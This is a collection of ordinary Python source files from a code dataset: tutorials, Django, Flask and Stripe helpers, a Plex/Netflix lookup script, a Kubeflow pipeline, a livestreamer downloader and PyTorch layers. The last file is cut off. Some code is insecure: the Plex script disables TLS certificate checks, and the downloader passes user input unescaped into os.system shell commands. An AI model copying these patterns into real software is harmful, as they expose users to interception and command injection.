+{"seq_id": "124323082", "text": "# ループはスコープを作らない\n### for\ns = ''\nfor i in range(3):\n  s += str(i)\nprint(i)\n# => 2\nprint(s)\n# => '012'\n\ns = ''\n# 3<= i < 10 でループ\nfor i in range(3, 10):\n  s += str(i)\nprint(s)\n# => '3456789'\n\ns = ''\narg = ['foo', 'bar', 'buz']\nfor i in arg:\n  # リストのインデックスは取れない\n  s += i\nprint(s)\n# => 'foobarbuz'\n\n# リストのインデックスが欲しい場合\n# enumerate()を使う\nfor index, val in enumerate(arg):\n  print( 'arg[{0}] = {1}'.format(index, val) )\n'''\n  arg[0] = foo\n  arg[1] = bar\n  arg[2] = buz\n'''\n\n# len()で要素数で回す\nfor i in range( len(arg) ):\n  print( 'arg[{0}] = {1}'.format(i, arg[i]) )\n'''\narg[0] = foo\narg[1] = bar\narg[2] = buz\n'''\n\n### while\nc = 0\nwhile c < 10:\n  print(c, end=', ')\n  c+=1\n# => 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\nprint(\"\")\n\n### zip loop\nnames = ['Mika', 'Aki', 'Mikko']\nages = [18, 17, 16]\nfor name, age in zip(names, ages):\n  print(name, age)\n\nroles = ['boss', 'gunner', 'driver', 'correspondent']\nfor name, role, age in zip(names, roles, ages):\n  print(name, role, age)\n\n#### zip_longest\nfrom itertools import zip_longest\n\nfor name, role, age in zip_longest(names, roles, ages, fillvalue = '---'):\n  print(name, role, age)\n'''\nMika boss 18\nAki gunner 17\nMikko driver 16\nnone correspondent none\n'''\nfor name, role, age in zip_longest(names, roles, ages):\n  print(name, role, age)\n\n### break, continue\ni = 10\nwhile i > 0:\n  if i == 3:\n    break\n  print(i, end=\", \")\n  i -= 1\n# => 10, 9, 8, 7, 6, 5, 4,\nprint(\"\")\n\nfor i in range(10):\n  if i == 3 or i == 7:\n    continue\n  print(i, end=', ')\n# => 0, 1, 2, 4, 5, 6, 8, 9,\nprint(\"\")\n\n### loop - else\nfor i in range(10):\n  if i == 3 or i == 7:\n    continue\n  print(i, end=', ')\nelse:\n  print(\"loop end!\")\n# => 0, 1, 2, 4, 5, 6, 8, 9, loop end!\n\n\n## 辞書\ndict = {'name': 'Aki', 'age': 16, 'role': 'gunner'}\n\nfor key in dict:\n  print(f'key:{key} value:{dict[key]}', end=', ')\nprint()\n# => key:name value:Aki, key:age value:16, key:role value:gunner,\n\ndict = {'name': 'Aki', 'age': 16, 'role': 'gunner'}\nfor key in dict.keys():\n  print(key, end=', ')\nprint()\n# => name, age, role,\n\n# 値でループ\nfor val in dict.values():\n  print(val, end=', ')\nprint()\n# => Aki, 16, gunner,\n\nfor key, val in dict.items():\n  print(f'key:{key} value:{val}', end=', ')\nprint()\n# => key:name value:Aki, key:age value:16, key:role value:gunner,\n", "sub_path": "test/07/loop.py", "file_name": "loop.py", "file_ext": "py", "file_size_in_byte": 2369, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "itertools.zip_longest", "line_number": 66, "usage_type": "call"}, {"api_name": "itertools.zip_longest", "line_number": 74, "usage_type": "call"}]}
+{"seq_id": "425089014", "text": "import toml\n\ndef toml_file(fs):\n    try:\n        with open(fs, \"r\") as f:\n            r = f.read() \n            return r           \n    except Exception as e:\n        raise Exception(\"toml file not found %s\"%str(fs))\n\ndef parse_toml(filename):\n    toml_string = toml_file(filename)\n    parsed_toml = toml.loads(toml_string)\n    return parsed_toml\n\ndef set_keys_exchange(afacade, e, keys):\n    pubkey = keys[\"public_key\"]\n    secret = keys[\"secret\"]\n    afacade.set_api_keys(e,pubkey,secret)", "sub_path": "archon/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "toml.loads", "line_number": 13, "usage_type": "call"}]}
+{"seq_id": "100621419", "text": "#!/usr/bin/python\n\nimport re\nimport sys\nimport operator\nimport datetime as dt\n\npatt = re.compile(r\"\"\"^(?P[A-Z][a-z][a-z])\n                                       [ ]\n                             (?P[A-Z][a-z][a-z])\n                                       [ ]+\n                      (?P[0-9]+)\n                                       [ ]+\n                              (?P[0-9]+)\n                                       [:]\n                            (?P[0-9]+)\n                                       [:]\n                            (?P[0-9]+)\n                                       [ ]\n                          (?P.+)\n                                       \"\"\", re.VERBOSE)\n\ndef str_to_dec(month):\n    return {\n        'Jan' : 1,\n        'Feb' : 2,\n        'Mar' : 3,\n        'Apr' : 4,\n        'May' : 5,\n        'Jun' : 6,\n        'Jul' : 7,\n        'Aug' : 8,\n        'Sep' : 9,\n        'Oct' : 10,\n        'Nov' : 11,\n        'Dec' : 12,\n    }[month]\n\ndic = {}\nlog_path = sys.argv[1]\n\nwith open(log_path) as fp:\n    for count, line in enumerate(fp):\n        match = patt.search(line)\n        if match is not None:\n            month = str_to_dec(match.group('month'))\n            day = int(match.group('day_of_month'))\n            hr = int(match.group('hour'))\n            mn = int(match.group('minute'))\n            sc = int(match.group('second'))\n            timestamp = dt.datetime(2019,month,day,hr,mn,sc)\n            log_text = match.groups()[6]\n            dic[count] = {'timestamp' : timestamp, 'log_text' : log_text}\n\ndic_sorted = sorted(dic.items(), key = operator.itemgetter(1))\nfor i in range(len(dic_sorted)):\n    d = dic_sorted[i][1]['timestamp'].strftime('%a %b %-d %H:%M:%S')\n    print('{} {}'.format(d, dic_sorted[i][1]['log_text']))\n", "sub_path": "re/trie_par_date.py", "file_name": "trie_par_date.py", "file_ext": "py", "file_size_in_byte": 1817, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.compile", "line_number": 8, "usage_type": "call"}, {"api_name": "re.VERBOSE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 55, "usage_type": "call"}]}
+{"seq_id": "350273106", "text": "from django.http import HttpResponse#, JsonResponse\r\n\r\nfrom django.db.models import Q\r\n\r\nfrom django.utils.translation import gettext as _\r\n\r\nfrom .models import Customers\r\n\r\nfrom users.models import Users\r\n\r\nimport json\r\n\r\ndef my_customers_autocomplete(request):\r\n\tif request.is_ajax():\r\n\t\tquery = request.GET.get('term', '')\r\n\r\n\t\tuser = Users.objects.get(pk=request.user)\r\n\t\tquery = \\\r\n\t\t\tQ(created_by_user=user) & Q(dropped=False) & \\\r\n\t\t\tQ(first_name__icontains=query) | \\\r\n\t\t\tQ(middle_name__icontains=query) | \\\r\n\t\t\tQ(last_name__icontains=query) | \\\r\n\t\t\tQ(mothers_last_name__icontains=query) | \\\r\n\t\t\tQ(rfc__icontains=query)\r\n\r\n\t\tcustomers = Customers.objects.filter(query)\r\n\r\n\t\tresults = []\r\n\r\n\t\tfor customer in customers:\r\n\t\t\tlbl=customer.full_name+' [' + _('RFC') + '='+customer.rfc+']'\r\n\t\t\tresults.append(lbl)\r\n\r\n\t\tdata = json.dumps(results)\r\n\r\n\tmimetype = \"application/json\"\r\n\r\n\treturn HttpResponse(data, mimetype)", "sub_path": "customers/autocomplete_views.py", "file_name": "autocomplete_views.py", "file_ext": "py", "file_size_in_byte": 923, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "users.models.Users.objects.get", "line_number": 17, "usage_type": "call"}, {"api_name": "users.models.Users.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "users.models.Users", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Customers.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Customers.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Customers", "line_number": 26, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 31, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 38, "usage_type": "call"}]}
+{"seq_id": "65272256", "text": "#!/usr/bin/env python3\n\nimport config\nfrom flask import Flask, render_template\n\n# Settings\napp = Flask(__name__)\napp.config.from_pyfile(\"settings.py\")\n\n\n@app.route(\"/\")\ndef index():\n    print(config.Ebb.get_owner())\n    return app.config.get(\"WHOAMI\")\n\n\n# home route\n@app.route(\"/\")\ndef hello():\n    # index()\n    return render_template(\"index.html\", name=app.config.get(\"WHOAMI\"), block_number=config.Ebb.get_block_number())\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n", "sub_path": "webapp/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 479, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "config.Ebb.get_owner", "line_number": 13, "usage_type": "call"}, {"api_name": "config.Ebb", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "config.Ebb.get_block_number", "line_number": 21, "usage_type": "call"}, {"api_name": "config.Ebb", "line_number": 21, "usage_type": "attribute"}]}
+{"seq_id": "46663377", "text": "import stripe\n\nclass stripe_handler:\n\tdef __init__(self):\n\t\tself.key = \" \"\n\t\twith open(\"./members/stripe_handler/KeyFile.key\", \"r\") as f:\n\t\t\tself.key = f.read().strip()\n\t\tstripe.api_key = self.key\n\t\n\tdef get_customer_object(self, cus_code):\n\t\ttry:\n\t\t\tcustomer = stripe.Customer.retrieve(cus_code)\n\t\t\treturn customer\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn 0\n\t\n\t\n\n", "sub_path": "msys/members/stripe_handler/director.py", "file_name": "director.py", "file_ext": "py", "file_size_in_byte": 370, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "stripe.api_key", "line_number": 8, "usage_type": "attribute"}, {"api_name": "stripe.Customer.retrieve", "line_number": 12, "usage_type": "call"}, {"api_name": "stripe.Customer", "line_number": 12, "usage_type": "attribute"}]}
+{"seq_id": "408722657", "text": "from yelp.models import Cuisine\nimport requests\n\ndef run():\n    cuisines = Cuisine.objects.all()\n    if cuisines:\n        cuisines.delete()\n\n    supported_categories = requests.get('https://www.yelp.com/developers/documentation/v3/all_category_list/categories.json')\n    supported_categories = supported_categories.json()\n    category_list = list(filter(lambda x: x['parents'], supported_categories))\n    cuisine_list = list(filter(lambda x: x['parents'][0]==u'restaurants', category_list))\n    for cuisine in cuisine_list:\n        c = Cuisine(label=cuisine['alias'], name=cuisine['title'])\n        c.save()\n", "sub_path": "yelp/scripts/refresh_cuisines.py", "file_name": "refresh_cuisines.py", "file_ext": "py", "file_size_in_byte": 608, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "yelp.models.Cuisine.objects.all", "line_number": 5, "usage_type": "call"}, {"api_name": "yelp.models.Cuisine.objects", "line_number": 5, "usage_type": "attribute"}, {"api_name": "yelp.models.Cuisine", "line_number": 5, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "yelp.models.Cuisine", "line_number": 14, "usage_type": "call"}]}
+{"seq_id": "378340096", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nusage: plex_netflix_check.py [-h] [-l  [...]] [-s ] [-t ]\n\nUse instantwatcher.com to find if Plex items are on Netflix, Amazon, or both.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -l  [ ...], --library  [ ...]\n                        Space separated list of case sensitive names to process. Allowed names are:\n                        (choices: Your show or movie library names)\n  -s [], --search []    Search any name.\n  -t [], --type []      Refine search for name by using type.\n                        (choices: movie, show)\n  -e [], --episodes []  Refine search for individual episodes.\n                        (choices: True, False)\n                        (default: False)\n  -site [], --site []   Refine search for name by using type.\n                        (choices: Netflix, Amazon, Both)\n                        (default: Both)\n  -sl [], --search_limit []\n                        Define number of search returns from page. Zero returns all.\n                        (default: 5)\n\nIf title is matched in both, Amazon is first then Netflix.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom builtins import str\nimport requests\nimport argparse\nfrom xmljson import badgerfish as bf\nfrom lxml.html import fromstring\nfrom time import sleep\nfrom plexapi.server import PlexServer, CONFIG\n# pip install plexapi\n\n\n# ## Edit ##\nPLEX_URL = ''\nPLEX_TOKEN = ''\n\nif not PLEX_URL:\n    PLEX_URL = CONFIG.data['auth'].get('server_baseurl', '')\n\nif not PLEX_TOKEN:\n    PLEX_TOKEN = CONFIG.data['auth'].get('server_token', '')\n\n# ## /Edit ##\n\nsess = requests.Session()\n# Ignore verifying the SSL certificate\nsess.verify = False  # '/path/to/certfile'\n# If verify is set to a path to a directory,\n# the directory must have been processed using the c_rehash utility supplied\n# with OpenSSL.\nif sess.verify is False:\n    # Disable the warning that the request is insecure, we know that...\n    import urllib3\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nplex = PlexServer(PLEX_URL, PLEX_TOKEN, session=sess)\n\n\ndef instantwatch_search(name, media_type, site, search_limit):\n\n    NETFLIX_URL = 'http://www.netflix.com/title/'\n    limit = False\n    results_count = 0\n\n    if media_type == 'movie':\n        content_type = '1'\n    elif media_type == 'show':\n        content_type = '2'\n    elif media_type == 'episode':\n        content_type = '4'\n    else:\n        content_type = ''\n\n    payload = {'content_type': content_type,\n               'q': name.lower()}\n\n    if site == 'Netflix':\n        r = requests.get('http://instantwatcher.com/netflix/78/search'.rstrip('/'), params=payload)\n    elif site == 'Amazon':\n        r = requests.get('http://instantwatcher.com/amazon/search'.rstrip('/'), params=payload)\n    else:\n        r = requests.get('http://instantwatcher.com/u/search'.rstrip('/'), params=payload)\n    \n    if r.status_code != 200:\n        print('{} not found: {}'.format(name, r.url))\n        return 0\n    results_lst = []\n    res_data = bf.data(fromstring(r.content))\n\n    res_data = res_data['html']['body']['div']['div'][1]\n\n    # Any matches?\n    res_results = res_data['div'][1]['div'][0]\n    title_check = res_data['div'][1]['div'][1]\n\n    try:\n        if res_results['span']:\n            total_results = res_results['span']\n            for data in total_results:\n                results_lst += [data['$']]\n    except Exception:\n        pass\n\n    print('{} found {}.'.format(results_lst[0], results_lst[1]))\n    result_count = int(results_lst[1].split(' ')[0])\n\n    amazon_id = ''\n    amazon_url = ''\n\n    # Title match\n    if result_count == 0:\n        print('0 matches, moving on.')\n        pass\n    else:\n        item_results_page = title_check['div']['div']\n        if result_count > 1:\n            for results in item_results_page:\n                for data in results['a']:\n                    try:\n                        amazon_id = data['@data-amazon-title-id']\n                        amazon_url = data['@data-amazon-uri']\n                    except Exception:\n                        pass\n\n                for data in results['span']:\n                    if data['@class'] == 'title' and search_limit != 0:\n                        if str(data['a']['$']).lower().startswith(name.lower()):\n                            if amazon_id:\n                                if data['a']['@data-title-id'] == amazon_id:\n                                    print('Match found on Amazon for {}'.format(data['a']['$']))\n                                    print('Page: {}'.format(amazon_url))\n                                else:\n                                    print('Match found on Netflix for {}'.format(data['a']['$']))\n                                    print('Page: {}{}'.format(NETFLIX_URL, data['a']['@data-title-id']))\n                            results_count += 1\n                            search_limit -= 1\n                            if search_limit == 0:\n                                limit = True\n\n                    elif data['@class'] == 'title' and search_limit == 0 and limit is False:\n                        if data['a']['$'].lower().startswith(name.lower()):\n                            if amazon_id:\n                                if data['a']['@data-title-id'] == amazon_id:\n                                    print('Match found on Amazon for {}'.format(data['a']['$']))\n                                    print('Page: {}'.format(amazon_url))\n                                else:\n                                    print('Match found on Netflix for {}'.format(data['a']['$']))\n                                    print('Page: {}{}'.format(NETFLIX_URL, data['a']['@data-title-id']))\n                            results_count += 1\n\n        elif result_count == 1:\n            for data in item_results_page['a']:\n                try:\n                    amazon_id = data['@data-amazon-title-id']\n                    amazon_url = data['@data-amazon-uri']\n                except Exception:\n                    pass\n            for data in item_results_page['span']:\n                if data['@class'] == 'title':\n                    if data['a']['$'].lower().startswith(name.lower()):\n                        print('Match! For {}'.format(data['a']['$']))\n                        if amazon_id:\n                            if data['a']['@data-title-id'] == amazon_id:\n                                print('Page: {}'.format(amazon_url))\n                        else:\n                            print('Page: {}{}'.format(NETFLIX_URL, data['a']['@data-title-id']))\n                        results_count += 1\n                    else:\n                        print('Could not find exact name match.')\n    return results_count\n\n\ndef plex_library_search(lib_name, site, epi_search, search_limit):\n    for title in plex.library.section(lib_name).all():\n        print('Running check on {}'.format(title.title))\n        file_path = []\n        if title.type == 'show' and epi_search is True:\n            if instantwatch_search(title.title, title.type, site, search_limit) > 0:\n                print('Show was found. Searching for episode paths.')\n                for episode in title.episodes():\n                    # Need to check episodes against sites to truly find episode matches.\n                    # For now just return paths for episodes if Show name matches.\n                    # print('Running check on {} - {}'.format(title.title, episode.title))\n                    # show_ep = '{} - {}'.format(title.title, episode.title)\n                    # if instantwatch_search(show_ep, 'episode', site) > 0:\n                    file_path += [episode.media[0].parts[0].file]\n\n        elif title.type == 'movie':\n            if instantwatch_search(title.title, title.type, site, search_limit) > 0:\n                file_path = title.media[0].parts[0].file\n        else:\n            if instantwatch_search(title.title, title.type, site, search_limit) > 0:\n                print('Show was found but path is not defined.')\n\n        if file_path:\n            if type(file_path) is str:\n                print('File: {}'.format(file_path))\n            elif type(file_path) is list:\n                print('Files: \\n{}'.format(' \\n'.join(file_path)))\n\n        print('Waiting 5 seconds before next search.')\n        sleep(5)\n\n\ndef main():\n\n    sections_lst = [d.title for d in plex.library.sections() if d.type in ['show', 'movie']]\n\n    parser = argparse.ArgumentParser(description=\"Use instantwatcher.com to find if Plex items are on Netflix.\",\n                                     formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('-l', '--library', metavar='', choices=sections_lst, nargs='+',\n                        help='Space separated list of case sensitive names to process. Allowed names are:\\n'\n                             '(choices: %(choices)s)')\n    parser.add_argument('-s', '--search', metavar='', nargs='?', type=str,\n                        help='Search any name.')\n    parser.add_argument('-m', '--media_type', metavar='', choices=['movie', 'show'], nargs='?',\n                        help='Refine search for name by using media type.\\n'\n                             '(choices: %(choices)s)')\n    parser.add_argument('-e', '--episodes', metavar='', nargs='?', type=bool, default=False, choices=[True, False],\n                        help='Refine search for individual episodes.\\n'\n                             '(choices: %(choices)s)\\n(default: %(default)s)')\n    parser.add_argument('-site', '--site', metavar='', choices=['Netflix', 'Amazon', 'Both'], nargs='?',\n                        default='Netflix', help='Refine search for name by using type.\\n'\n                        '(choices: %(choices)s)\\n(default: %(default)s)')\n    parser.add_argument('-sl', '--search_limit', metavar='', nargs='?', type=int, default=5,\n                        help='Define number of search returns from page. Zero returns all.'\n                             '\\n(default: %(default)s)')\n\n    opts = parser.parse_args()\n    # print(opts)\n\n    if opts.search:\n        instantwatch_search(opts.search, opts.media_type, opts.site, opts.search_limit)\n    else:\n        if len(opts.library) > 1:\n            for section in opts.library:\n                plex_library_search(section, opts.site, opts.episodes, opts.search_limit)\n        else:\n            plex_library_search(opts.library[0], opts.site, opts.episodes, opts.search_limit)\n\n\nif __name__ == '__main__':\n    main()\n", "sub_path": "reporting/plex_netflix_check.py", "file_name": "plex_netflix_check.py", "file_ext": "py", "file_size_in_byte": 10561, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "plexapi.server.CONFIG.data", "line_number": 47, "usage_type": "attribute"}, {"api_name": "plexapi.server.CONFIG", "line_number": 47, "usage_type": "name"}, {"api_name": "plexapi.server.CONFIG.data", "line_number": 50, "usage_type": "attribute"}, {"api_name": "plexapi.server.CONFIG", "line_number": 50, "usage_type": "name"}, {"api_name": "requests.Session", "line_number": 54, "usage_type": "call"}, {"api_name": "urllib3.disable_warnings", "line_number": 63, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 63, "usage_type": "attribute"}, {"api_name": "plexapi.server.PlexServer", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 87, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 89, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 91, "usage_type": "call"}, {"api_name": "xmljson.badgerfish.data", "line_number": 97, "usage_type": "call"}, {"api_name": "xmljson.badgerfish", "line_number": 97, "usage_type": "name"}, {"api_name": "lxml.html.fromstring", "line_number": 97, "usage_type": "call"}, {"api_name": "builtins.str", "line_number": 136, "usage_type": "call"}, {"api_name": "builtins.str", "line_number": 205, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 211, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 218, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 219, "usage_type": "attribute"}, {"api_name": "builtins.str", "line_number": 223, "usage_type": "name"}]}
+{"seq_id": "553224294", "text": "# Copyright 2020-2021 kubeflow.org\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom kfp import dsl, components\n\nFLIP_COIN_STR = \"\"\"\nname: flip\ndescription: Flip a coin and output heads or tails randomly\ninputs:\n  - {name: forced_result, type: String}\noutputs:\n  - {name: output, type: String}\nimplementation:\n  container:\n    image: python:alpine3.6\n    command:\n    - sh\n    - -c\n    - |\n      python -c \"import random; import sys; forced_result = '$0'; \\\n      result = 'heads' if random.randint(0,1) == 0 else 'tails'; \\\n      print(forced_result) if (forced_result == 'heads' or forced_result == 'tails') else print(result)\" \\\n      | tee $1\n    - {inputValue: forced_result}\n    - {outputPath: output}\n\"\"\"\n\nflip_coin_op = components.load_component_from_text(FLIP_COIN_STR)\n\nPRINT_STR = \"\"\"\nname: print\ndescription: print a message\ninputs:\n  - {name: msg, type: String}\nimplementation:\n  container:\n    image: alpine:3.6\n    command:\n    - echo\n    - {inputValue: msg}\n\"\"\"\n\nprint_op = components.load_component_from_text(PRINT_STR)\n\n\n@dsl.pipeline(\n    name='flip-coin-with-dependency',\n    description='Shows how to use dsl.Condition.'\n)\ndef flipcoin(forced_result1: str = 'heads', forced_result2: str = 'tails'):\n    flip = flip_coin_op(str(forced_result1))\n\n    with dsl.Condition(flip.outputs['output'] == 'heads') as condition:\n        flip2 = flip_coin_op(str(forced_result2))\n\n        with dsl.Condition(flip2.outputs['output'] == 'tails'):\n            print_op(flip2.outputs['output'])\n\n    with dsl.Condition(flip.outputs['output'] == 'tails') as condition_2:\n        print_op(flip.outputs['output'])\n\n    print_op('done').after(condition).after(condition_2)\n\n\nif __name__ == '__main__':\n    from kfp_tekton.compiler import TektonCompiler\n    TektonCompiler().compile(flipcoin, __file__.replace('.py', '.yaml'))\n", "sub_path": "sdk/python/tests/compiler/testdata/condition_dependency.py", "file_name": "condition_dependency.py", "file_ext": "py", "file_size_in_byte": 2329, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "kfp.components.load_component_from_text", "line_number": 39, "usage_type": "call"}, {"api_name": "kfp.components", "line_number": 39, "usage_type": "name"}, {"api_name": "kfp.components.load_component_from_text", "line_number": 54, "usage_type": "call"}, {"api_name": "kfp.components", "line_number": 54, "usage_type": "name"}, {"api_name": "kfp.dsl.Condition", "line_number": 64, "usage_type": "call"}, {"api_name": "kfp.dsl", "line_number": 64, "usage_type": "name"}, {"api_name": "kfp.dsl.Condition", "line_number": 67, "usage_type": "call"}, {"api_name": "kfp.dsl", "line_number": 67, "usage_type": "name"}, {"api_name": "kfp.dsl.Condition", "line_number": 70, "usage_type": "call"}, {"api_name": "kfp.dsl", "line_number": 70, "usage_type": "name"}, {"api_name": "kfp.dsl.pipeline", "line_number": 57, "usage_type": "call"}, {"api_name": "kfp.dsl", "line_number": 57, "usage_type": "name"}, {"api_name": "kfp_tekton.compiler.TektonCompiler", "line_number": 78, "usage_type": "call"}]}
+{"seq_id": "9802900", "text": "import requests\nimport sys\nimport os\ntry:\n\tif sys.version_info[0] < 3:\n\t\traise \"REQUIRED PYTHON 3.x\"\nexcept Exception as ex:\n\tprint('''\t\t--------------------------------------\n\t\t\tREQUIRED PYTHON 3.x\n\t\t\tuse: python3 download.py\n\t\t--------------------------------------\n\t\t\t''')\n\tsys.exit()\n\ndoc=\"\"\"\n      PROGRAM BY h4k3r\n        Make sure that you have installed livestreamer and vlc\n        Linux   [apt-get install livestreamer vlc]\n        Windows [download setup of livestreamer and vlc then install] \n\"\"\"\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0',\n}\npost_url=\"http://en.fetchfile.net/fetch/\"\ndownload_url=input('Enter url : ')\nr=requests.post(url=post_url,headers=headers,data={'url':download_url})\nif r.status_code==200:\n\tjsonData=r.json()\n\tmanifest_url=jsonData.get('manifest_url',None)\n\tif not manifest_url:\n\t\tmanifest_url=jsonData.get('webpage_url',None)\n\tif not manifest_url: #jsonData.get('formats',None):\n\t\tprint('Check internet connection or try again ...')\n\t\tsys.exit(0)\n\tprint('----------------------------------------------------')\n\tprint('  Title     : ',jsonData.get('title',None))\n\tprint('  Episode   : ',jsonData.get('episode',None))\n\tprint('  Episode No: ',jsonData.get('episode_number',None))\n\tprint('  Extractor : ',jsonData.get('extractor',None))\n\tos.system('livestreamer '+manifest_url+' | grep streams')\n\t# urls=[]\n\t# for n,i in enumerate(jsonData.get('formats',[])):\n\t# \tprint('           '+str(n)+' : '+str(i.get('width',''))+' x '+str(i.get('height','')))\n\t# \tprint(i.get('url'))\n\t# \turls.append(i.get('url'))\n\tprint('----------------------------------------------------')\n\tchoice=input('Enter stream Ex .: ')\n\ttry:\n\t\tplay=bool(int(input('Play(0) or Download(1) : ')))\n\texcept:\n\t\tplay=False\n\tif not play:\n\t\tos.system('livestreamer '+manifest_url+' '+choice)\n\telse:\n\t\tos.system('livestreamer '+manifest_url+' '+choice+' -o \"'+jsonData.get('title','default')+'.mp4\"')\nelse:\n\tprint('Contact 8419027520 for errors !')\n\n", "sub_path": "down.py", "file_name": "down.py", "file_ext": "py", "file_size_in_byte": 2010, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.version_info", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 34, "usage_type": "call"}, {"api_name": "os.system", "line_number": 40, "usage_type": "call"}, {"api_name": "os.system", "line_number": 53, "usage_type": "call"}, {"api_name": "os.system", "line_number": 55, "usage_type": "call"}]}
+{"seq_id": "532603877", "text": "# -*- coding: utf-8 -*-\n\nimport torch as th\nimport torch.nn as nn\n\nfrom leibniz.nn.pooling import ComplexAvgPool1d, ComplexAvgPool2d, ComplexAvgPool3d\nfrom leibniz.nn.conv import ComplexConv1d, ComplexConv2d, ComplexConv3d\nfrom leibniz.nn.activation import Sigmoid, ComplexReLU, ComplexLinear\n\n\ndef exp(z):\n    return 1 + 2 * th.tanh(z / 2) / (1 - th.tanh(z / 2))\n\n\nclass ComplexSELayer(nn.Module):\n    def __init__(self, channel, reduction=16, conv=None):\n        super(ComplexSELayer, self).__init__()\n\n        self.avg_pool = None\n        self.fc = nn.Sequential(\n            ComplexLinear(channel, channel // reduction + 1, bias=False),\n            ComplexReLU(),\n            ComplexLinear(channel // reduction + 1, channel, bias=False),\n            Sigmoid()\n        )\n\n    def forward(self, x):\n        sz = x.size()\n\n        if len(sz) == 3:\n            if self.avg_pool is None:\n                self.avg_pool = ComplexAvgPool1d()\n            y = self.avg_pool(x)\n            y = y.view(sz[0], sz[1])\n            y = self.fc(y).view(sz[0], sz[1], 1)\n        if len(sz) == 4:\n            if self.avg_pool is None:\n                self.avg_pool = ComplexAvgPool2d()\n            y = self.avg_pool(x)\n            y = y.view(sz[0], sz[1])\n            y = self.fc(y).view(sz[0], sz[1], 1, 1)\n        if len(sz) == 5:\n            if self.avg_pool is None:\n                self.avg_pool = ComplexAvgPool3d()\n            y = self.avg_pool(x)\n            y = y.view(sz[0], sz[1])\n            y = self.fc(y).view(sz[0], sz[1], 1, 1, 1)\n        return x * y.expand_as(x)\n\n\nclass BasicBlock(nn.Module):\n    def __init__(self, in_channel, out_channel, step, relu, conv, reduction=16):\n        super(BasicBlock, self).__init__()\n        self.step = step\n        self.relu = relu\n\n        self.conv1 = conv(in_channel, in_channel, kernel_size=3, stride=1, padding=1)\n        self.conv2 = conv(in_channel, out_channel, kernel_size=3, stride=1, padding=1)\n        self.se = ComplexSELayer(out_channel, reduction)\n\n    def forward(self, x):\n        y = self.conv1(x)\n        y = self.relu(y)\n        y = self.conv2(y)\n        y = self.se(y)\n        return y\n\n\nclass Bottleneck(nn.Module):\n    def __init__(self, in_channel, out_channel, step, relu, conv, reduction=16):\n        super(Bottleneck, self).__init__()\n        self.step = step\n        self.relu = relu\n\n        self.conv1 = conv(in_channel, in_channel // 4, 